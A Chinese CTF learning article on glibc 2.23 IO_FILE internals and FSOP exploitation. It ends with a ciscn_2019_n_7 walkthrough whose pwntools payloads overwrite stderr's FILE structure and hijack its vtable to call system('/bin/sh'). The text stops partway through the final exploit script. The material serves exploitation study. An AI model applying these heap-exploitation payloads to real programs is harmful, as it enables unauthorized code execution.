Pwn堆利用学习
2022-10-25 18:14:10 Author: mp.weixin.qq.com(查看原文) 阅读量:14 收藏


本文为看雪论坛精华文章

看雪论坛作者ID:ztree

在线看glibc源码:https://elixir.bootlin.com/glibc/glibc-2.23/source/libio/

如果没有特别说明,下面涉及的源码和例子均是基于2.23版本。


IO_FILE相关知识

1.1 结构体

typedef struct _IO_FILE FILE; // IO_FILE结构体struct _IO_FILE {  int _flags;        /* High-order word is _IO_MAGIC; rest is flags. */#define _IO_file_flags _flags   /* The following pointers correspond to the C++ streambuf protocol. */  /* Note:  Tk uses the _IO_read_ptr and _IO_read_end fields directly. */  char* _IO_read_ptr;    /* Current read pointer */  char* _IO_read_end;    /* End of get area. */  char* _IO_read_base;    /* Start of putback+get area. */  char* _IO_write_base;    /* Start of put area. */  char* _IO_write_ptr;    /* Current put pointer. */  char* _IO_write_end;    /* End of put area. */  char* _IO_buf_base;    /* Start of reserve area. */  char* _IO_buf_end;    /* End of reserve area. */  /* The following fields are used to support backing up and undo. */  char *_IO_save_base; /* Pointer to start of non-current get area. */  char *_IO_backup_base;  /* Pointer to first valid character of backup area */  char *_IO_save_end; /* Pointer to end of non-current get area. */   struct _IO_marker *_markers;   struct _IO_FILE *_chain;   int _fileno;#if 0  int _blksize;#else  int _flags2;#endif  _IO_off_t _old_offset; /* This used to be _offset but it's too small.  */ #define __HAVE_COLUMN /* temporary */  /* 1+column number of pbase(); 0 is unknown. */  unsigned short _cur_column;  signed char _vtable_offset;  char _shortbuf[1];   /*  char* _save_gptr;  char* _save_egptr; */   _IO_lock_t *_lock;#ifdef _IO_USE_OLD_IO_FILE};  // IO_FILE_complete结构体,在_IO_FILE后面加了一些字段struct _IO_FILE_complete{  struct _IO_FILE _file;#endif#if defined _G_IO_IO_FILE_VERSION && _G_IO_IO_FILE_VERSION == 0x20001  _IO_off64_t _offset;# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T  /* Wide character stream stuff.  */  struct _IO_codecvt *_codecvt;  struct _IO_wide_data *_wide_data;  struct _IO_FILE *_freeres_list;  void *_freeres_buf;# else  void *__pad1;  void *__pad2;  void *__pad3;  void *__pad4;# endif  size_t __pad5;  int _mode;  /* Make sure we don't get into trouble again.  */  char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];#endif};  // stdin、stdout……extern struct _IO_FILE_plus _IO_2_1_stdin_; FILE *stdin = (FILE *) &_IO_2_1_stdin_; // 虽然stdin的类型是 FILE *,但实际类型却是 _IO_2_1_stdin_ 的类型,即 _IO_FILE_plusFILE *stdout = (FILE *) &_IO_2_1_stdout_;//...  // _IO_FILE_plus结构体struct _IO_FILE_plus{  FILE file;  const struct _IO_jump_t *vtable;}; // _IO_jump_t结构体(虚函数表)// 路径:/libio/libioP.hstruct _IO_jump_t{    JUMP_FIELD(size_t, __dummy);    JUMP_FIELD(size_t, __dummy2);    JUMP_FIELD(_IO_finish_t, __finish);    JUMP_FIELD(_IO_overflow_t, __overflow);    JUMP_FIELD(_IO_underflow_t, __underflow);    JUMP_FIELD(_IO_underflow_t, __uflow);    JUMP_FIELD(_IO_pbackfail_t, __pbackfail);    /* showmany */    JUMP_FIELD(_IO_xsputn_t, __xsputn);    JUMP_FIELD(_IO_xsgetn_t, __xsgetn);    JUMP_FIELD(_IO_seekoff_t, __seekoff);    JUMP_FIELD(_IO_seekpos_t, __seekpos);    JUMP_FIELD(_IO_setbuf_t, __setbuf);    JUMP_FIELD(_IO_sync_t, __sync);    JUMP_FIELD(_IO_doallocate_t, __doallocate);    JUMP_FIELD(_IO_read_t, __read);    JUMP_FIELD(_IO_write_t, __write);    JUMP_FIELD(_IO_seek_t, __seek);    JUMP_FIELD(_IO_close_t, __close);    JUMP_FIELD(_IO_stat_t, __stat);    JUMP_FIELD(_IO_showmanyc_t, __showmanyc);    JUMP_FIELD(_IO_imbue_t, __imbue);#if 0    get_column;    set_column;#endif}; // JUMP_FIELD宏#define JUMP_FIELD(TYPE, NAME) TYPE NAME   /** 以 JUMP_FIELD(_IO_xsgetn_t, __xsgetn); 为例继续跟下去看看TYPE:_IO_xsgetn_ttypedef _IO_size_t (*_IO_xsgetn_t) (_IO_FILE *FP, void *DATA, _IO_size_t N); // 定义了一个函数指针 :NAME__xsgetn 因此, JUMP_FIELD(_IO_xsgetn_t, __xsgetn)<==>  _IO_xsgetn_t __xsgetn // 即给函数指针取别名 __xsgetn **/

1.2 关键函数分析

强烈推荐阅读下面几篇文章:

  • fopen:

    • IO FILE之fopen详解(https://ray-cp.github.io/archivers/IO_FILE_fopen_analysis

  • fread:

    • IO FILE之fread详解(https://ray-cp.github.io/archivers/IO_FILE_fread_analysis

    • 零基础要如何破除 IO_FILE 利用原理的迷雾(https://tttang.com/archive/1742/#toc_

  • fwrite:

    • IO FILE之fwrite详解(https://www.tttang.com/archive/1279/

  • fclose:

    • IO FILE之fclose详解(https://ray-cp.github.io/archivers/IO_FILE_fclose_analysis

对 IO_FILE 相关几个关键函数的分析可见上面列出的文章。我在此做一点可能是对做题无关紧要的补充及疑问:

前面分析了JUMP_FIELD,知道结构体_IO_jump_t中都是函数指针,但是这些函数指针在哪里被赋值去和它们对应的函数实现绑定的?是在做什么初始化的时候?

在分析fread函数的时候,走到 fread -> _IO_sgetn -> _IO_XSGETN的时候,应该是因为这对做题可能关系不大,我看文章都没有分析宏 _IO_XSGETN。

在gdb中调试的时候, _IO_sgetn -> _IO_XSGETN这一步仅三行汇编,而后跳转到_IO_file_xsgetn,但是对应的汇编却显示函数名是__GI__IO_file_xsgetn,我在后面静态分析代码的时候没有发现这是为什么,希望有知道的大佬告诉本菜鸡。

gdb调试走到调用宏_IO_XSGETN的地方:

   0x7ffff7a88710 <_IO_sgetn>                  mov    rax, qword ptr [rdi + 0xd8]   0x7ffff7a88717 <_IO_sgetn+7>                mov    rax, qword ptr [rax + 0x40]   0x7ffff7a8871b <_IO_sgetn+11>               jmp    rax      0x7ffff7a85ed0 <__GI__IO_file_xsgetn>       push   r14   0x7ffff7a85ed2 <__GI__IO_file_xsgetn+2>     push   r13   0x7ffff7a85ed4 <__GI__IO_file_xsgetn+4>     mov    r14, rsi   0x7ffff7a85ed7 <__GI__IO_file_xsgetn+7>     push   r12   0x7ffff7a85ed9 <__GI__IO_file_xsgetn+9>     push   rbp   0x7ffff7a85eda <__GI__IO_file_xsgetn+10>    mov    r13, rdx   0x7ffff7a85edd <__GI__IO_file_xsgetn+13>    push   rbx   0x7ffff7a85ede <__GI__IO_file_xsgetn+14>    cmp    qword ptr [rdi + 0x38], 0──────────────────────────────────────────────────────────────[ SOURCE (CODE) ]───────────────────────────────────────────────────────────────In file: /home/lzx/pwn/heap/IO_FILE/glibc-2.23/libio/fileops.c   1355 }   1356 libc_hidden_ver (_IO_new_file_xsputn, _IO_file_xsputn)   1357   1358 _IO_size_t   1359 _IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)  1360 {   1361   _IO_size_t want, have;   1362   _IO_ssize_t count;   1363   char *s = data;   1364   1365   want = n;

静态分析_IO_XSGETN宏

/**   _IO_sgetn函数    fread -> _IO_sgetn -> _IO_XSGETN    路径:/libio/genops.c**/ _IO_size_t_IO_sgetn (_IO_FILE *fp, void *data, _IO_size_t n){  /* FIXME handle putback buffer here! */  return _IO_XSGETN (fp, data, n);  ////////// call _IO_XSGETN}libc_hidden_def (_IO_sgetn) /**    宏 _IO_XSGETN    路径:/libio/libioP.h**/#define _IO_XSGETN(FP, DATA, N) JUMP2 (__xsgetn, FP, DATA, N) /**    宏 JUMPn:JUMPn 主要是跳转到 vtable 对应的字段获取动态函数地址,不同点主要在于参数个数    JUMP2 = (_IO_JUMPS_FUNC(THIS)->FUNC)    路径:/libio/libioP.h**/#define JUMP0(FUNC, THIS) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS)#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)#define JUMP2(FUNC, THIS, X1, X2) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1, X2) ////////// call JUMP2#define JUMP3(FUNC, THIS, X1,X2,X3) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1,X2, X3) /**    宏 _IO_JUMPS_FUNC:根据 FD 找到到 vtable 地址    路径:/libio/libioP.h    分析:首先,可以看到最终返回的结构体指针的类型是 _IO_jump_t ,即vtable          然后,给_IO_JUMPS_FILE_plus传入FD,根据FD找到对应的 _IO_FILE_plus 结构体          最后返回:_IO_FILE_plus 结构体地址 + vtable的偏移**/# define _IO_JUMPS_FUNC(THIS) \ (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (THIS) \               + (THIS)->_vtable_offset)) /**    宏 _IO_JUMPS_FILE_plus:根据 FD 找到 _IO_FILE_plus 结构体地址    路径:/libio/libioP.h**/#define _IO_JUMPS_FILE_plus(THIS) \  _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE_plus, vtable) // 这里可以明确是 _IO_FILE_plus 结构体 /* Essentially ((TYPE *) THIS)->MEMBER, but avoiding the aliasing   violation in case THIS has a different pointer type.   路径:/libio/libioP.h   */#define _IO_CAST_FIELD_ACCESS(THIS, TYPE, MEMBER) \  (*(_IO_MEMBER_TYPE (TYPE, MEMBER) *)(((char *) (THIS)) \                       + offsetof(TYPE, MEMBER))) /* Type of MEMBER in struct type TYPE. 路径:/libio/libioP.h typeof关键字:https://blog.csdn.net/u012066426/article/details/50788984?spm=1001.2101.3001.6661.1&utm_medium=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-50788984-blog-86496346.pc_relevant_layerdownloadsortv1&depth_1-utm_source=distribute.pc_relevant_t0.none-task-blog-2%7Edefault%7ECTRLIST%7ERate-1-50788984-blog-86496346.pc_relevant_layerdownloadsortv1 */#define _IO_MEMBER_TYPE(TYPE, MEMBER) __typeof__ (((TYPE){}).MEMBER)  /**综上,不断展开宏 _IO_XSGETN 看一下:     _IO_XSGETN(FP, DATA, N)<==> JUMP2 (__xsgetn, FP, DATA, N)<==> (_IO_JUMPS_FUNC(FP)->__xsgetn) (FP, DATA, N)      // 可以看出 _IO_JUMPS_FUNC(FP)就是要找到 FP 对应的 _IO_jump_t结构体指针<==> ( (*(struct _IO_jump_t **) ((void *) &_IO_JUMPS_FILE_plus (FP)  + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N)     // 下面可以看出找_IO_jump_t结构体指针是先找到 _IO_FILE_plus 结构体<==> ( (*(struct _IO_jump_t **) ((void *) &(_IO_CAST_FIELD_ACCESS ((FP), struct _IO_FILE_plus, vtable))  + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N) <==> ( (*(struct _IO_jump_t **) ((void *) &(  (*(_IO_MEMBER_TYPE (struct _IO_FILE_plus, vtable) *)(((char *) (FP))  + offsetof(struct _IO_FILE_plus, vtable))))  + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N) <==> ( (*(struct _IO_jump_t **) ((void *) &(  (*(_IO_MEMBER_TYPE (struct _IO_FILE_plus, vtable) *)(((char *) (FP))  + offsetof(struct _IO_FILE_plus, vtable))))  + (FP)->_vtable_offset))->__xsgetn) (FP, DATA, N) **/

最后,总结一下上面提到的《IO FILE之fxxxx详解》四篇文章:

IO FILE结构体包括两个堆结构,一个是保存IO FILE结构体的堆,一个是输入输出缓冲区的堆。

fopen调用链

// 函数原型:FILE *fopen(const char *filename, const char *mode); // 调用链:fopen(_IO_new_fopen)-> __fopen_internal    -> malloc // 分配内存空间    -> _IO_no_init // 对 FILE 结构体进行null初始化。    -> _IO_file_init // 将FILE结构体链接进入_IO_list_all链表    -> _IO_file_fopen // 执行系统调用open打开文件,并将文件描述符赋值给FILE结构体的_fileno 字段,最后再次调用_IO_link_in函数,确保该结构体被链接进入_IO_list_all链表。 // 未调用vtable中的函数

fread调用链

// 函数原型:size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream); // 调用链:fread(_IO_fread)-> _IO_sgetn (_IO_XSGETN(宏))    -> _IO_file_xsgetn(__GI__IO_file_xsgetn)  // fread读入数据的核心函数        -> _IO_doallocbuf  -> _IO_file_doallocate // 初始化FILE结构体中的指针,建立输入缓冲区        -> __underflow   -> _IO_file_underflow // 调用系统调用读入数据  // _IO_file_xsgetn是处理fread读入数据的核心函数,分为三个部分:// 第一部分是fp->_IO_buf_base为空的情况,表明此时的FILE结构体中的指针未被初始化,输入缓冲区未建立,则调用_IO_doallocbuf去初始化指针,建立输入缓冲区。// 第二部分是输入缓冲区里有输入,即fp->_IO_read_ptr小于fp->_IO_read_end,此时将缓冲区里的数据直接拷贝至目标buff。// 第三部分是输入缓冲区里的数据为空或者是不能满足全部的需求,则调用__underflow调用系统调用读入数据。 // 调用vtable中的函数:// 1、_IO_sgetn函数调用了vtable的_IO_file_xsgetn。// 2、_IO_doallocbuf函数调用了vtable的_IO_file_doallocate以初始化输入缓冲区。// 3、vtable中的_IO_file_doallocate调用了vtable中的__GI__IO_file_stat以获取文件信息。// 4、__underflow函数调用了vtable中的_IO_new_file_underflow实现文件数据读取。// 5、vtable中的_IO_new_file_underflow调用了vtable__GI__IO_file_read最终去执行系统调用read。

fwrite调用链:

//函数原型:size_t fwrite(const void *ptr, size_t size, size_t nmemb, FILE *stream) // 调用链:fwrite(_IO_fwrite)-> _IO_sputn (_IO_XSPUTN)  -> _IO_new_file_xsputn      // 1、首先判断输出缓冲区是否还有容量,如果有,则将目标输出数据拷贝至输出缓冲区。      // 2、如果输出缓冲区没有剩余(输出缓冲区未建立也是没有剩余)或输出缓冲区不够则调用 _IO_OVERFLOW 建立输出缓冲区或刷新输出缓冲区。      -> _IO_OVERFLOW           -> __overflow(_IO_new_file_overflow)              -> // 2.1 判断标志位是否包含 _IO_NO_WRITES,若包含,则直接返回              -> _IO_doallocbuf -> _IO_file_doallocate// 2.2.1 判断输出缓冲区是否为空,若空,则调用 _IO_doallocbuf 去分配              ->  _IO_setg // 2.2.2 接2.2,如果为空,分配输出缓冲区后,设置read相关的三个指针              -> // 2.3 初始化其他指针,最主要的是write相关的三个指针              -> _IO_do_write(_IO_new_do_write) // 2.4 调用系统调用write输出输出缓冲区,输出的内容为f->_IO_write_ptr到f->_IO_write_base之间的内容                  -> _IO_SYSWRITE -> __write(_IO_new_file_write)                                 -> write      // 3、输出缓冲区刷新后判断剩余的目标输出数据是否超过块的size,如果超过块的size,则不通过输出缓冲区直接以块为单位,使用 _IO_new_do_write 输出目标数据。      // 4、如果按块输出数据后还剩下一点数据则调用 _IO_default_xsputn 将数据拷贝至输出缓冲区。      -> _IO_default_xsputn // 调用vtable中的函数// 1、_IO_fwrite 函数调用了vtable的 _IO_new_file_xsputn。// 2、_IO_new_file_xsputn 函数调用了vtable中的 _IO_new_file_overflow 实现缓冲区的建立以及刷新缓冲区。// 3、vtable中的 _IO_new_file_overflow 函数调用了vtable的 _IO_file_doallocate 以初始化输入缓冲区。// 4、vtable中的_IO_file_doallocate调用了vtable中的 __GI__IO_file_stat 以获取文件信息。// 5、new_do_write中的_IO_SYSWRITE调用了vtable的 _IO_new_file_write 最终去执行系统调用write。

fclose调用链:

// 函数原型:int fclose(FILE *stream) // 调用链:fclose(_IO_new_fclose)-> _IO_un_link // 将FILE结构体从_IO_list_all链表中取下-> _IO_file_close_it // 关闭文件并释放缓冲区    -> _IO_file_is_open  // _IO_file_is_open宏检查该文件是否处于打开的状态    -> _IO_do_flush // _IO_do_flush 刷新此时的输出缓冲区        -> _IO_do_write // 调用系统调用将缓冲区的内容输出到文件,并刷新输出缓冲区的值。    -> _IO_SYSCLOSE        -> __close    -> _IO_setb // 设置结构体的buf指针,并释放缓冲区    -> _IO_setg // 设置read相关的指针    -> _IO_setp // 设置write相关的指针    -> _IO_un_link // 确保FILE结构体已从_IO_list_all中取下 -> _IO_FINISH // 进行最后的确认,确认FILE结构体从链表中删除以及缓冲区被释放  -> __finish-> free // free释放IO_FILE结构体内存 // 调用vtable中的函数:// 1、在清空缓冲区的_IO_do_write函数中会调用vtable中的函数。// 2、关闭文件描述符_IO_SYSCLOSE函数为vtable中的__close函数。// 3、_IO_FINISH函数为vtable中的__finish函数。

1.3 文件链表

通过_IO_FILE *_chain实现链表结构,头部是全局变量_IO_list_all。


_IO_FILE攻击

2.1 虚函数表vtable劫持

如果能够控制_IO_FILE_plus结构体,实现对vtable指针的修改,使得vtable指向可控的内存,在该内存中构造好vtable,再通过调用相应IO函数,触发vtable函数的调用,即可劫持程序执行流。

劫持最关键的点在于修改IO FILE结构体的vtable指针,指向可控内存。一般来说有两种方式:一种是只修改内存中已有FILE结构体的vtable字段;另一种则是伪造整个FILE结构体。当然,两种的本质最终都是修改了vtable字段。

攻击条件

    • 有可控内存(视情况而定) -> 伪造FILE结构体

    • 任意地址写 -> 修改vtable指针

例子可参考:

零基础要如何破除 IO_FILE 利用原理的迷雾(https://tttang.com/archive/1742/#toc_

IO FILE 之劫持vtable及FSOP(https://ray-cp.github.io/archivers/IO_FILE_vtable_hajack_and_fsop

2.2 FSOP

FSOP(File Stream Oriented Programming)的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据,还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。

_IO_flush_all_lockp 被系统调用的时机:

当 libc 执行 abort 流程时;
当执行 exit 函数时;
当执行流从 main 函数返回时。

_IO_flush_all_lockp 中调用_IO_OVERFLOW的条件,根据短路原理可知需满足:

fp->_mode <= 0

fp->_IO_write_ptr > fp->_IO_write_base

if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base))               && _IO_OVERFLOW (fp, EOF) == EOF)           {               result = EOF;          }

FSOP攻击条件:

能泄露出libc的基址 -> 泄露出_IO_list_all的地址;
有可控内存 -> 伪造_IO_FILE和vtable;
任意地址写 -> 将_IO_list_all的内容改为指向可控内存的指针。

ctf-wiki-FSOP 

https://ctf-wiki.org/pwn/linux/user-mode/io-file/fsop/

2.2.1 ctf实例 - ciscn_2019_n_7

[email protected]:~/pwn/heap/IO_FILE/ciscn_2019_n_7$ lsciscn_2019_n_7  log.txt[email protected]:~/pwn/heap/IO_FILE/ciscn_2019_n_7$ ./ciscn_2019_n_7 1.add page2.edit page3.show page4.exitYour choice->Alarm clock

ida分析

main

__int64 __fastcall main(__int64 a1, char **a2, char **a3){  int v3; // eax  __int64 v4; // rdx  __int64 v5; // rcx  bool v6; // zf  bool v7; // sf  unsigned __int8 v8; // of   sub_CA0();LABEL_2:  while ( 2 )  {    while ( 1 )    {      v3 = sub_D80(a1, a2);      v8 = __OFSUB__(v3, 3);      v6 = v3 == 3;      v7 = v3 - 3 < 0;      if ( v3 != 3 )        break;LABEL_7:      show();                                                                        // 3 - show    }    while ( (unsigned __int8)(v7 ^ v8) | v6 )    {      if ( v3 == 1 )                            // 1 - add      {        add();        goto LABEL_2;      }      if ( v3 != 2 )        goto LABEL_11;      edit();                                                                        // 2 - edit      v3 = sub_D80(a1, a2);      v8 = __OFSUB__(v3, 3);      v6 = v3 == 3;      v7 = v3 - 3 < 0;      if ( v3 == 3 )        goto LABEL_7;    }    if ( v3 == 4 )      exit_();                                                                // 4 - exit_    if ( v3 == 666 )    {      sub_C50(a1, (__int64)a2, v4, v5);       // 666 - 打印puts函数地址      continue;    }    break;  }LABEL_11:  puts("NO, Please continue! ");  return 0LL;}

main开头的sub_CA0

unsigned int sub_CA0(){  FILE *v0; // rbx  char v1; // al  unsigned int result; // eax  unsigned __int64 v3; // rt1  unsigned __int64 v4; // [rsp+8h] [rbp-20h]   v4 = __readfsqword(0x28u);  v0 = fopen("log.txt", "r");  while ( 1 )  {    v1 = fgetc(v0);    if ( v1 == -1 )      break;    IO_putc(v1, stdout);  }  fclose(v0);  setvbuf(stdout, 0LL, 2, 0LL);  setvbuf(stdin, 0LL, 1, 0LL);  setvbuf(stderr, 0LL, 1, 0LL);  global = malloc(0x18uLL);    // malloc了一个chunk给全局变量  v3 = __readfsqword(0x28u);  result = v3 ^ v4;  if ( v3 == v4 )    result = alarm(0x3Cu);  return result;}

add - 溢出

unsigned __int64 add(){  int len_; // eax  _QWORD *v1; // r12  __int64 len; // [rsp+0h] [rbp-28h]  unsigned __int64 v4; // [rsp+8h] [rbp-20h]   v4 = __readfsqword(0x28u);  if ( unk_202014 )  {    puts(aExists);  }  else  {    puts("Input string Length: ");    read(0, &len, 8uLL);    len_ = strtol((const char *)&len, 0LL, 10);    if ( (unsigned __int64)len_ > 0x100 )    {      puts("Large!");    }    else    {      v1 = global;      *global = len_;      v1[2] = malloc(len_);      unk_202014 = 1;      puts("Author name:");      read(0, global + 1, 0x10uLL);             // 输入0x10长度的author name,可以覆盖article指针      puts("Now,you can edit your article.");    }  }  return __readfsqword(0x28u) ^ v4;}

edit - 在add溢出后可任意地址写

int edit(){  int result; // eax  unsigned __int64 v1; // rt1  unsigned __int64 v2; // rt1  unsigned __int64 v3; // [rsp+8h] [rbp-10h]   v3 = __readfsqword(0x28u);  if ( unk_202014 )  {    puts(aNew);    read(0, global + 1, 0x10uLL);               // 同add一样,可溢出修改article指针    puts("New contents:");    read(0, (void *)global[2], *global);        // 从这可以看出文章内容存在global[2],若溢出,则可任意地址写    v1 = __readfsqword(0x28u);    result = v1 ^ v3;    if ( v1 == v3 )      result = puts("Over.");  }  else  {    v2 = __readfsqword(0x28u);    result = v2 ^ v3;    if ( v2 == v3 )      result = puts("Dont't exists.");  }  return result;}

show

int show(){  int result; // eax  unsigned __int64 v1; // rt1  unsigned __int64 v2; // [rsp+8h] [rbp-10h]   v2 = __readfsqword(0x28u);  if ( unk_202014 )  {    result = (signed int)global;    if ( __readfsqword(0x28u) == v2 )      result = _printf_chk(1LL, "%s\nAuthor:%s\n", global[2], global + 1);  }  else  {    v1 = __readfsqword(0x28u);    result = v1 ^ v2;    if ( v1 == v2 )      result = puts("Dont't exists.");  }  return result;}

exit_

void __noreturn exit_(){  close(1);  close(2);  exit(0);}

int close(int fd){  return close(fd);}

如果输入666,sub_C50打印puts函数的地址

__int64 __fastcall sub_C50(__int64 a1, __int64 a2, __int64 a3, __int64 a4){  __readfsqword(0x28u);  __readfsqword(0x28u);  return _printf_chk(1LL, &unk_10D4, &puts, a4);}

fsop攻击思路:

exit_ 函数关闭 stdout、stderr 后执行 exit() ,exit() 时系统会调用 _IO_flush_all_lockp ;或者随意输入一个不在菜单上的选项,让程序走main函数的return 0,也会调用_IO_flush_all_lockp(我用后一种思路成功了,前一种未找到原因,就是不成功)。

修改article指针到 _IO_2_1_stderr_ ,布置绕过需要的数据;在适当位置写入 system ,将 vtable 劫持到这个空间上,完成劫持 _IO_flush_all_lockp 为 system 。

写入 _IO_2_1_stderr_ 时将/bin/sh 写到 _IO_FILE 的头部,调用虚函数时 _IO_FILE 是第一个参数。

因为 vtable 中的函数调用时会把对应的 _IO_FILE_plus 指针作为第一个参数传递,因此这里我们把 "sh" 写入 _IO_FILE_plus 头部。

调试查看结构体:

p *((struct [结构体类型]*) [地址])

调试分析

step1:泄露地址
# step1: leak addrcommand(666)puts_addr = int(r(14),16)leak("puts_addr",puts_addr)libc_base = puts_addr-libc.sym['puts']leak("libc_base",libc_base) # IO_list_all=libc_base+libc.sym['_IO_list_all']# log.info("IO_list_all:"+hex(IO_list_all))IO_2_1_stderr=libc.sym['_IO_2_1_stderr_']+libc_baseleak("IO_2_1_stderr", IO_2_1_stderr)system=libc_base+libc.sym['system']leak("system", system)dbg()
step2:通过add覆盖article指针
# step2: allocate a chunk, and overwrite article pointer to _IO_2_1_stderr_payload = 'a'*8 + p64(IO_2_1_stderr)add(0xf8,payload) # sizeof(_IO_2_1_stderr_)=0xe0dbg()
pwndbg> heapAllocated chunk | PREV_INUSEAddr: 0x5646d0338000Size: 0x21 Allocated chunk | PREV_INUSEAddr: 0x5646d0338020Size: 0x101 Top chunk | PREV_INUSEAddr: 0x5646d0338120Size: 0x20ee1 pwndbg> x/8gx 0x5646d03380000x5646d0338000:    0x0000000000000000    0x00000000000000210x5646d0338010:    0x00000000000000f8    0x61616161616161610x5646d0338020:    0x00007f09704ab540    0x0000000000000101   article指针已经被覆盖为指向_IO_2_1_stderr_0x5646d0338030:    0x0000000000000000    0x0000000000000000pwndbg> x/gx 0x00007f09704ab5400x7f09704ab540 <_IO_2_1_stderr_>:    0x00000000fbad2284
step3:通过edit修改_IO_2_1_stderr_的内容
# step3: edit the content of the chunk, that is, edit the content of the _IO_2_1_stderr_ #define writebase_offset 0x20   ->0#define writeptr_offset 0x28    ->1#define mode_offset 0xc0        ->0#define vtable_offset 0xd8      ->system&onegadget payload = '/bin/sh\x00'+p64(0)*3 + p64(0) + p64(1)#0x30payload += p64(0)*4 + p64(system)*4  #p64(libc_base+0x4526a)*4#0x50-0x70payload = payload.ljust(0xd8, '\x00')payload += p64(IO_2_1_stderr+0x40)edit('a\n', payload)dbg()
修改前
pwndbg> p _IO_2_1_stderr_$1 = {  file = {    _flags = -72539516,    _IO_read_ptr = 0x0,    _IO_read_end = 0x0,    _IO_read_base = 0x0,    _IO_write_base = 0x0,    _IO_write_ptr = 0x0,    _IO_write_end = 0x0,    _IO_buf_base = 0x0,    _IO_buf_end = 0x0,    _IO_save_base = 0x0,    _IO_backup_base = 0x0,    _IO_save_end = 0x0,    _markers = 0x0,    _chain = 0x7efe8674e620 <_IO_2_1_stdout_>,    _fileno = 2,    _flags2 = 0,    _old_offset = -1,    _cur_column = 0,    _vtable_offset = 0 '\000',    _shortbuf = "",    _lock = 0x7efe8674f770 <_IO_stdfile_2_lock>,    _offset = -1,    _codecvt = 0x0,    _wide_data = 0x7efe8674d660 <_IO_wide_data_2>,    _freeres_list = 0x0,    _freeres_buf = 0x0,    __pad5 = 0,    _mode = 0,    _unused2 = '\000' <repeats 19 times>  },  vtable = 0x7efe8674c6e0 <_IO_file_jumps>}
修改后
pwndbg> p _IO_2_1_stderr_$1 = {  file = {    _flags = 1852400175,  # /bin/sh    _IO_read_ptr = 0x0,    _IO_read_end = 0x0,    _IO_read_base = 0x0,     _IO_write_base = 0x0,  # 0    _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,  # 1    _IO_write_end = 0x0,    _IO_buf_base = 0x0,    _IO_buf_end = 0x0,     # <-- 覆写的vtable会指向这里    _IO_save_base = 0x0,    _IO_backup_base = 0x7efe863ce3a0 <__libc_system> "H\205\377t\v\351\206\372\377\377f\017\037D",  # system    _IO_save_end = 0x7efe863ce3a0 <__libc_system> "H\205\377t\v\351\206\372\377\377f\017\037D",     # system    _markers = 0x7efe863ce3a0 <__libc_system>,                                                                                                         # system    _chain = 0x7efe863ce3a0 <__libc_system>,                                                                                                                 # system    _fileno = 0,    _flags2 = 0,    _old_offset = 0,    _cur_column = 0,    _vtable_offset = 0 '\000',    _shortbuf = "",    _lock = 0x0,    _offset = 0,    _codecvt = 0x0,    _wide_data = 0x0,    _freeres_list = 0x0,    _freeres_buf = 0x0,    __pad5 = 0,    _mode = 0,    _unused2 = '\000' <repeats 19 times>  },  vtable = 0x7efe8674e580 <_IO_2_1_stderr_+64>            # addr(_IO_2_1_stderr_) + 0x40} pwndbg> p _IO_file_jumps$2 = {  __dummy = 0,  __dummy2 = 0,  __finish = 0x7efe864029d0 <_IO_new_file_finish>,  __overflow = 0x7efe86403740 <_IO_new_file_overflow>,  # exit会调用(偏移为4)  __underflow = 0x7efe864034b0 <_IO_new_file_underflow>,  __uflow = 0x7efe86404610 <__GI__IO_default_uflow>,  __pbackfail = 0x7efe86405990 <__GI__IO_default_pbackfail>,  __xsputn = 0x7efe864021f0 <_IO_new_file_xsputn>,  __xsgetn = 0x7efe86401ed0 <__GI__IO_file_xsgetn>,  __seekoff = 0x7efe864014d0 <_IO_new_file_seekoff>,  __seekpos = 0x7efe86404a10 <_IO_default_seekpos>,  __setbuf = 0x7efe86401440 <_IO_new_file_setbuf>,  __sync = 0x7efe86401380 <_IO_new_file_sync>,  __doallocate = 0x7efe863f6190 <__GI__IO_file_doallocate>,  __read = 0x7efe864021b0 <__GI__IO_file_read>,  __write = 0x7efe86401b80 <_IO_new_file_write>,  __seek = 0x7efe86401980 <__GI__IO_file_seek>,  __close = 0x7efe86401350 <__GI__IO_file_close>,  __stat = 0x7efe86401b70 <__GI__IO_file_stat>,  __showmanyc = 0x7efe86405b00 <_IO_default_showmanyc>,  __imbue = 0x7efe86405b10 <_IO_default_imbue>}

_IO_FILE结构体里_flags和_IO_read_ptr之间相差8字节,结构体会地址对齐。

pwndbg> p &(stderr->_flags)$8 = (int *) 0x7f9d0bb2b540 <_IO_2_1_stderr_>pwndbg> p &(stderr->_IO_read_ptr)$9 = (char **) 0x7f9d0bb2b548 <_IO_2_1_stderr_+8>

步骤4:触发exit ->_IO_flush_all_lockp -> __overflow

# step4:exitcommand('a')sleep(0.5)itr()

exp

人工计算

from pwn import  *from LibcSearcher import LibcSearcher context(log_level='debug')#,terminal=['tmux','sp','-h']) def ret2libc(leak, func, path=''):    if path == '':        libc = LibcSearcher(func, leak)        base = leak - libc.dump(func)        system = base + libc.dump('system')        binsh = base + libc.dump('str_bin_sh')    else:        libc = ELF(path)        base = leak - libc.sym[func]        system = base + libc.sym['system']        binsh = base + libc.search('/bin/sh').next()     return (system, binsh) s       = lambda data               :p.send(str(data))sa      = lambda delim,data         :p.sendafter(str(delim), str(data))sl      = lambda data               :p.sendline(str(data))sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))r       = lambda num=4096           :p.recv(num)ru      = 